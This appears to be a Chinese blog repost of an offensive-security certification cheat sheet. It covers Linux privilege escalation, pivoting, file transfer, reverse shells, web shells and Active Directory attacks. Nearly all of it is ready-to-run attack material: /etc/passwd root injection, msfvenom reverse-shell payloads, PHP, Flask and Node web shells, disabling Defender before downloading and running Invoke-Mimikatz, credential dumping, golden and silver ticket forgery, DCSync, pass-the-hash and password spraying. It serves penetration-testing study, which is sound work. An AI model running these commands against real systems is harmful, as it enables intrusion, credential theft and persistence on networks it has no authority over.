SUID [PrivEsc]

枚举

1
find / -perm -u=s -type f 2>/dev/null

或者

1
2
id
find / -perm -u=s -type f -group <group> 2>/dev/null

利用
https://gtfobins.github.io/

功能 [PrivEsc]

枚举

1
getcap -r / 2>/dev/null

利用
https://gtfobins.github.io/

带有 Sudo 的二进制文件 [PrivEsc]

1
sudo -l

或者

1
cat /etc/sudoers

利用
https://gtfobins.github.io/

通过 sudo [PrivEsc] 以具有权限的其他用户身份运行命令

1
sudo -u <username> <command>

弱文件权限/Passwd Writabble [PrivEsc]

枚举

1
2
ls -la /etc/passwd
ls -la /etc/shadow

提权

1
echo "user:$(openssl passwd password123):0:0:root:/root:/usr/bin/bash" >> /etc/passwd

NFS根挤压

检测 - VM 拥有

1
cat /etc/exports

查看具有访问权限的 nfs 目录 - 攻击者虚拟机

1
showmount -e <ip>

获取 nfs 版本 - 攻击者虚拟机

1
rpcinfo <ip>

安装 - 攻击者虚拟机

1
2
mkdir /tmp/1
mount -o rw,vers=2 <ip>:/<nfs_directory> /tmp/1

为 privesc 创建并编译文件 - 攻击者虚拟机

1
2
3
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
gcc /tmp/1/x.c -o /tmp/1/x
chmod +s /tmp/1/x

利用 - VM 拥有

1
2
/tmp/x
id

sudo < v1.28 - @sickrov [PrivEsc]

1
sudo -u#-1 /bin/bash

Docker 突破 [PrivEsc]

搜索套接字

1
find / -name docker.sock 2>/dev/null

列出图像

1
docker images

提权

1
docker run -it -v /:/host/ <image>:<tag> chroot /host/ bash

Linux 枚举工具 [PrivEsc]

linpeas.sh

1
./linpeas.sh

https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

pspy(非特权 Linux 进程监听)

1
./pspy64

https://github.com/DominicBreuker/pspy

linux-exploit-suggester

1
./linux-exploit-suggester.sh

或者

1
./linux-exploit-suiggester.sh --uname <uname-string>

https://github.com/The-Z-Labs/linux-exploit-suggester

Unix Privesc 检查

1
./unix-privesc-check

https://pentestmonkey.net/tools/audit/unix-privesc-check

十八、端口转发和代理

端口转发

SSH 隧道/本地端口转发

1
ssh user@<ip> -p port -L 8001:127.0.0.1:8080 -fN

SSH 远程端口转发

1
ssh -R 5555:127.0.0.1:5555 -p2222 <user>@<ip>

Socat - 端口转发

1
./socat.exe TCP-LISTEN:8002,fork,reuseaddr TCP:127.0.0.1:8080

chisel - 远程端口转发

你的机器

1
./chisel server -p <LISTEN_PORT> --reverse &

受损主机

1
./chisel client <server_ip>:<server_port> R:<LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> &

Chisel - 本地端口转发

受损主机

1
./chisel server -p <LISTEN_PORT>

你的机器

1
./chisel client <server_ip>:<server_port> <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT>
1
cmd.exe /c echo y | plink.exe -ssh -l <user> -pw <password> -R 192.168.0.20:1234:127.0.0.1:3306 192.168.0.20

代理 - 网络枢轴

sshuttle (Unix) - 代理

1
sshuttle -r user@<ip> --ssh-cmd "ssh -i private_key" 172.16.0.0/24

SSH + 代理链

使用socks4 127.0.0.1 8080编辑/etc/proxychains.conf

1
ssh -N -D 127.0.0.1:8080 <user>@<ip> -p 2222

chisel - 反向代理

你的机器

1
./chisel server -p LISTEN_PORT --reverse &

受损主机

1
./chisel client <TARGET_IP>:<LISTEN_PORT> R:socks &

chisel - 转发代理

受损主机

1
./chisel server -p <LISTEN_PORT> --socks5

你的机器

1
./chisel client <TARGET_IP>:<LISTEN_PORT> <PROXY_PORT>:socks

Metasploit - 代理

1
2
3
4
route add <ip>/24 1
route print
use auxiliary/server/socks_proxy
run

十九、文件传输

中小企业服务器

设置

1
impacket-smbserver share . -smb2support -user user -password teste321

转移

1
2
net use \\<smbserver>\share /USER:user teste321
copy \\<smbserver>\share\nc.exe .

HTTP协议

启动网络服务器

1
2
python -m SimpleHTTPServer 80
service apache2 start

Windows - 文件下载

1
2
3
4
5
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://<IP>/file.exe','C:\Users\user\Desktop\file.exe')"
iwr -uri http://<IP>/file -Outfile file
wget http://<IP>/file -O file
curl http://<IP>/file -o file
certutil -urlcache -f http://<IP>:803/ok.exe ok.exe

Linux - 文件下载

1
2
wget http://<IP>/file
curl http://<IP>/file > file

纯FTPd

安装和配置

1
2
3
4
5
6
7
8
9
10
sudo apt update && sudo apt install pure-ftpd
sudo groupadd ftpgroup
sudo useradd -g ftpgroup -d /dev/null -s /etc ftpuser
sudo pure-pw useradd offsec -u ftpuser -d /ftphome
sudo pure-pw mkdb
cd /etc/pure-ftpd/auth/
sudo ln -s ../conf/PureDB 60pdb
sudo mkdir -p /ftphome
sudo chown -R ftpuser:ftpgroup /ftphome/
sudo systemctl restart pure-ftpd

转移

1
2
3
4
5
6
echo open 192.168.0.20 21> ftp.txt
echo USER user>> ftp.txt
echo password>> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
1
ftp -v -n -s:ftp.txt

文件传输协议

安装和配置

1
2
3
4
sudo apt update && sudo apt install atftp
sudo mkdir /tftp
sudo chown nobody: /tftp
sudo atftpd --daemon --port 69 /tftp

转移

1
tftp -i <IP> get file

SCP

1
scp file <user>@192.168.0.20:/home/user/

二十、Shell 和一些有效负载

有效负载结构 - msfvenom

分阶段的有效负载通常分为两部分。第一部分包含一个小的主要有效负载,它将建立连接,并与 shellcode 的其余部分一起传输较大的辅助有效负载。
例如:

1
2
3
4
windows/shell_reverse_tcp (stageless)
windows/shell/reverse_tcp (staged)
linux/shell_reverse_tcp (stageless)
linux/shell/reverse_tcp (staged)

非 Meterpreter 二进制文件( msfvenom + nc )

视窗-Windows

.exe x86 上演 - msfvenom(非 Meterpreter)

1
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe

.exe x64 上演 - msfvenom(非 Meterpreter)

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe

.exe x86 stageless - msfvenom(非 Meterpreter)

1
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe

.exe x64 stageless - msfvenom(非 Meterpreter)

1
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe

Linux

.elf x86 上演 - msfvenom(非 Meterpreter)

1
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf

.elf x64 上演 - msfvenom(非 Meterpreter)

1
msfvenom -p linux/x64/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf

.elf x86 stageless - msfvenom(非 Meterpreter)

1
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf

.elf x64 stageless - msfvenom(非 Meterpreter)

1
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf

网络有效负载

Java WAR - msfvenom(非 Meterpreter)

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war

ASP - msfvenom(非 Meterpreter)

1
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp

ASPX - msfvenom(非 Meterpreter)

1
msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<LPORT> -f aspx > shell.aspx

JSP - msfvenom(非 Meterpreter)

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp

WAR - msfvenom(非 Meterpreter)

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp

PHP - msfvenom(非 Meterpreter) - 反向 Shell

1
msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.php


https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

https://raw.githubusercontent.com/Dhayalanb/windows-php-reverse-shell/master/Reverse Shell.php

网络外壳-shell

PHP

1
2
3
<?php echo shell_exec($_GET['cmd']);?>
<?php system($_GET['cmd']);?>
<?php echo exec($_GET['cmd']);?>

联合应用程序

https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmdjsp.jsp
或在卡利

1
locate cmdjsp.jsp

ASP

https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/asp/cmd-asp-5.1.asp
https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/asp/cmdasp.asp

或在卡利

1
2
locate cmd-asp-5.1.asp
locate cmdasp.asp

ASPX

https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/asp/cmdasp.aspx

或在卡利

1
locate cmdasp.aspx

Webshell 感染views.py - Python (Flask)

1
2
3
4
5
6
7
8
9
10
11
import os
from flask import Flask,request,os

app = Flask(__name__)

@app.route('/okay')
def cmd():
return os.system(request.args.get('c'))

if __name__ == "__main__":
app.run()

https://raw.githubusercontent.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/main/codes/webshells/views.py

节点js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const express = require('express')
const app = express();

app.listen(3000, () =>
console.log('...')
);
function Exec(command){
const { execSync } = require("child_process");
const stdout = execSync(command);
return "Result: "+stdout
}
app.get('/okay/:command', (req, res) =>
res.send(Exec(req.params.command))
);

[https://raw.githubusercontent.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/main/codes/webshells/views.js](https://raw.githubusercontent.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/main/codes/webshells/views.js)

perl

查找并编辑

1
locate perl-reverse-shell.pl

通过 Python 生成 tty

1
python -c 'import pty;pty.spawn("/bin/bash")';

生成升级后的外壳

1
export TERM=xterm && /usr/bin/script -qc /bin/bash /dev/null 
1
2
ctrl + z
stty raw -echo; fg

让生活更轻松的工具

revshell 生成器
https://www.revshells.com/

CyberChef
https://gchq.github.io/CyberChef/

urlencoder
https://www.urlencoder.org/

八进制
http://www.unit-conversion.info/texttools/octal/

十六进制
http://www.unit-conversion.info/texttools/octal/

IP 转换器
https://www.silisoftware.com/tools/ipconverter.php

二十一至二十三、活动目录

枚举

枚举整个域中的所有用户

1
net user /domain

获取特定用户的信息

1
net user <user> /domain

枚举整个域中的所有组

1
net group /domain

获取本地组成员

1
Get-NetLocalGroup -ComputerName <domain> -Recurse (PowerView)

找出域控制器主机名

1
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

配置 ActiveDirectory 模块 - RSAT

1
2
3
4
curl https://raw.githubusercontent.com/samratashok/ADModule/master/ActiveDirectory/ActiveDirectory.psd1 -o ActiveDirectory.psd1  
curl https://github.com/samratashok/ADModule/blob/master/Microsoft.ActiveDirectory.Management.dll?raw=true -o Microsoft.ActiveDirectory.Management.dll
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ActiveDirectory.psd1

配置PowerView模块

1
2
curl https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 -o PowerView.ps1
. .\PowerView.ps1

上次登录

1
Get-LastLoggedOn -ComputerName <domain>

列出计算机

1
Get-NetComputer (PowerView)

将域用户添加到域组

1
2
Add-DomainGroupMember -Identity 'SQLManagers' -Members 'examed'
Get-NetGroupMember -GroupName 'SQLManagers'

所有 AD 用户的枚举脚本,以及这些用户帐户的所有属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

$PDC = ($domainObj.PdcRoleOwner).Name

$SearchString = "LDAP://"

$SearchString += $PDC + "/"

$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"

$SearchString += $DistinguishedName

$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)

$objDomain = New-Object System.DirectoryServices.DirectoryEntry

$Searcher.SearchRoot = $objDomain

$Searcher.filter="samAccountType=805306368"

$Result = $Searcher.FindAll()

Foreach($obj in $Result)
{
Foreach($prop in $obj.Properties)
{
$prop
}

Write-Host "------------------------"
}

枚举登录用户

1
2
Import-Module .\PowerView.ps1
Get-NetLoggedon -ComputerName <computer_name>

https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1

枚举所有活动会话

1
Get-NetSession -ComputerName dc1

通过服务主体名称进行枚举

https://raw.githubusercontent.com/compwiz32/PowerShell/master/Get-SPN.ps1

远程访问

远程桌面协议 - RDP

创建用户

1
net user <user> <password> /add

添加到本地管理员组

1
net localgroup Administrators <user> /add

添加到可以通过 RDP 访问的用户组

1
2
net localgroup "Remote Management Users" <user> /add
net localgroup "Remote Desktop Users" <user> /add

启用 RDP

1
2
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

移动到另一个用户

1
runas /user:<hostname>\<user> cmd

xfreerdp 通过 RDP 在 \tsclient\share\ 中共享

1
xfreerdp /u:user /p:pass /v:ip +clipboard /dynamic-resolution /cert:ignore /drive:/usr/share/windows-resources,share

通过 RDP 的 rdesktop

1
rdesktop -u <user> -p <password> -d <domain> -f <ip>

evil-winrm

1
evil-winrm -i <ip> -u <user> -p <password>

缓存凭证存储和检索

转储所有连接用户的凭据,包括缓存的哈希值

1
./mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

组合执行

1
./mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "vault::cred /patch" "exit"

提取哈希值

介绍

SAM - 安全帐户管理器(存储为用户帐户)%SystemRoot%/system32/config/sam
NTDS.DIT​​(Windows Server / Active Directory - 存储 AD 数据,包括用户帐户)%SystemRoot%/ntds/ntds.dit
SYSTEM(用于解密 SAM/NTDS.DIT​​ 的系统文件)%SystemRoot%/system32/config/system
备份 - Sistemas antigos como XP/2003:C:\Windows\repair\sam 和 C:\Windows\repair\系统

通过注册表获取sam和system(从旧版本到最新版本)

1
2
reg save hklm\sam sam
reg save hklm\system system

通过 SMB 共享文件传输 sam 和 syste -> 配置 smb 服务器 1

1
impacket-smbserver share . -smb2support -user user -password teste321

配置 smb 服务器 2

1
2
3
net use \\<smbserver>\share /USER:user teste321
copy C:\Users\Backup\sam.hive \\<smbserver>\share\
copy C:\Users\Backup\system.hive \\<smbserver>\share\

https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/smbserver.py

查看 smb 枚举

1
2
3
net view \\dc /all
net use * \\dc\c$
net use

卷影复制(Windows Server \ 最新版本)

vssadmin

1
vssadmin create shadow /for=c:

hashdump

1
hashdump

samdump2(Win 2k/NT/XP/Vista SAM)

1
samdump2 system sam

转存SAM转储下载

1
impacket-secretsdump -sam sam -system system LOCAL

提取域中的哈希值并进行旋转

转储所有连接用户的凭据,包括缓存的哈希值

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

mimikatz + ScriptBlock

1
$sess = New-PSSession -ComputerName <hostname>
1
2
3
Invoke-command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess
iex (iwr http://<ip>/Invoke-Mimikatz.ps1 -UseBasicParsing)
Invoke-command -ScriptBlock ${function:Invoke-Mimikatz} -Session $sess

或者

1
2
3
4
Invoke-command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess
Invoke-Command -FilePath .\Invoke-Mimikatz.ps1 -Session $sess
Enter-PSSession $sess
Invoke-Mimikatz

提取缓存中的哈希值

fgdump

1
fgdump.exe

/usr/share/windows-binaries/fgdump/fgdump.exe

解释器

1
2
load kiwi
creds_msv

wce-universal(明文密码)

1
wce-universal.exe -w

/usr/share/windows-resources/wce/wce-universal.exe

mimikatz.exe

1
2
3
.\mimikatz.exe
sekurlsa::wdigest -a full
sekurlsa::logonpasswords

mimikatz - meterpreter

1
2
load mimikatz  
wdigest

提取哈希值(远程)

1
impacket-secretsdump user:password@IP

服务帐户攻击

播种存储在内存中的用户票证

1
./mimikatz.exe "sekurlsa::tickets"

显示当前用户所有缓存的 Kerberos 票证

1
klist

从内存中导出服务票据

1
./mimikatz.exe "kerberos::list /export"

使用 tgsrepcrack.py 进行词表攻击以获取服务帐户的明文密码

1
2
sudo apt update && sudo apt install kerberoast
python /usr/share/kerberoast/tgsrepcrack.py wordlist.txt <ticket.kirbi>

或者

https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1

密码喷洒

1
.\Spray-Passwords.ps1 -Pass Qwerty09! -Admin

https://web.archive.org/web/20220225190046/https://github.com/ZilentJack/Spray-Passwords/blob/master/Spray-Passwords.ps1

枚举 - BloodHound

安装 - 攻击者虚拟机

1
sudo apt install bloodhound

neo4j 启动 - http://localhost:7474/

1
sudo neo4j start

枚举 - Windows

1
2
3
4
5
iwr -uri <ip>/SharpHound.ps1 -Outfile SharpHound.ps1
. .\SharpHound.ps1
Invoke-Bloodhound -CollectionMethod All,loggedon
Invoke-BloodHound -CollectionMethod All -Verbose
Invoke-BloodHound -CollectionMethod LoggedOn -Verbose

访问验证

使用crackmmapexec通过smb验证网络用户凭证

1
2
3
4
crackmapexec smb 192.168.0.10-20 -u administrator -H <hash> -d <domain> --continue-on-success
crackmapexec smb 192.168.0.10-20 -u administrator -H <hash> -d <domain>
crackmapexec smb 192.168.0.10-20 -u administrator -H <hash> --local-auth --lsa
crackmapexec smb 192.168.0.10-20 -u administrator -p <password>

通过 smbclient 连接

1
smbclient //ip -U <user> -L

smbmap

1
smbmap -H <ip> -u <user> 

查看给定用户对 smb 共享的读取权限

1
crackmapexec smb <IP> --shares -u <user> -p '<pass>'

AS-REP Roasting攻击 - 不需要预身份验证

kerbrute - 枚举用户

1
kerbrute userenum -d test.local --dc <dc_ip> userlist.txt

https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/userlist.txt

GetNPUsers.py - 从 KDC 查询 ASReproastable 帐户

1
impacket-GetNPUsers domain.local/ -dc-ip <IP> -usersfile userlist.txt

Kerberoast

impacket-GetUserSPNs

1
impacket-GetUserSPNs <domain>/<user>:<password>// -dc-ip <IP> -request

或者

1
impacket-GetUserSPNs -request -dc-ip <IP> -hashes <hash_machine_account>:<hash_machine_account> <domain>/<machine_name$> -outputfile hashes.kerberoast
1
hashcat -a 0 -m 13100 ok.txt /usr/share/wordlists/rockyou.txt 
1
.\PsExec.exe -u <domain>\<user> -p <password> cmd.exe

或者

1
runas /user:<hostname>\<user> cmd.exe

Active Directory 横向移动

传递哈希值

允许攻击者通过用户的 NTLM 哈希对远程系统或服务进行身份验证

1
pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:<hash_ntlm> //<IP> cmd

远程访问 - impacket-psexec

1
2
impacket-psexec '<domain>/<user>'@<IP> -hashes ':<hash>'
impacket-psexec '<domain>/<user>'@<IP>

远程访问+evil-winrm

1
evil-winrm -i <IP> -u <user> -H <hash>

越过哈希值

允许攻击者滥用 NTLM 用户哈希来获取完整的 Kerberos 票证授予票证 (TGT) 或服务票证,这使我们能够以该用户的身份访问另一台计算机或服务

1
mimikatz.exe "sekurlsa::pth /user:jeff_admin /domain:corp.com /ntlm:e2b475c11da2a0748290d87aa966c327 /run:PowerShell.exe" "exit"

使用 psexec 执行命令

1
.\PsExec.exe \\<hostname> cmd.exe

白银票据 - 通票

这是一种持久性和特权提升技术,通过伪造 TGS 来获取对应用程序中服务的访问权限。
获取SID

1
GetDomainsid (PowerView)

或者

1
whoami /user

获取机器帐户哈希

1
Invoke-Mimikatz '"lsadump::lsa /patch"' -ComputerName <hostname_dc>

利用mimikatz.exe

1
2
3
kerberos::purge
kerberos::list
kerberos::golden /user:<user> /domain:<domain> /sid:<sid> /target:<hostname.domain> /service:HTTP /rc4:<ervice_account_password_hash> /ptt

或者

1
2
Invoke-Mimikatz -Command '"kerberos::golden /domain:<domain> /sid:<domainsid> /target:<dc>.<domain> /service:HOST /rc4:<machine_account_hash> /user:Administrator /ptt"'
kerberos::list

黄金票据 - 通行证

这是一种持久性和特权提升技术,通过伪造票证来控制 Active Directory 密钥分发服务 (KRBTGT) 帐户并颁发 TGT。

获取哈希 krbtgt

1
./mimikatz.exe "privilege::debug" "lsadump::lsa /patch"

获取SID

1
GetDomainsid (PowerView)

或者

1
whoami /user

执行黄金票据并利用

1
2
3
mimikatz.exe "kerberos::purge" "kerberos::golden /user:fakeuser /domain:corp.com /sid:S-1-5-21-1602875587-2787523311-2599479668 /krbtgt:75b60230a2394a812000dbfad8415965 /ptt" "misc::cmd"

psexec.exe \\dc1 cmd.exe

DC同步攻击

DCSync 攻击包括向域控制器请求复制更新并获取 Active Directory 中每个帐户的密码哈希值,而无需登录域控制器。

1
./mimikatz.exe "lsadump::dcsync /user:Administrator"

SMB 的 NetNTLM 身份验证漏洞 - LLMNR 中毒 - 捕获响应程序中的哈希值

Responder 允许您在 NetNTLM 身份验证期间通过中毒响应来执行中间人攻击,使客户端与您对话,而不是与它想要连接的真实服务器对话。在真实的 LAN 网络上,响应者将尝试毒害检测到的所有链路本地多播名称解析 (LLMNR)、NetBIOS 名称服务器 (NBT-NS) 和 Web 代理自动发现 (WPAD) 请求。NBT-NS 是 LLMNR 的前身协议。

1
responder -I eth0 -v

国外某进攻性安全证书-书籍技巧-2023版本
https://sh1yan.top/2024/06/01/Attack-certificate-Book-Skills-2023-rodolfomarianocy/
作者
shiyan
发布于
2024年6月1日
许可协议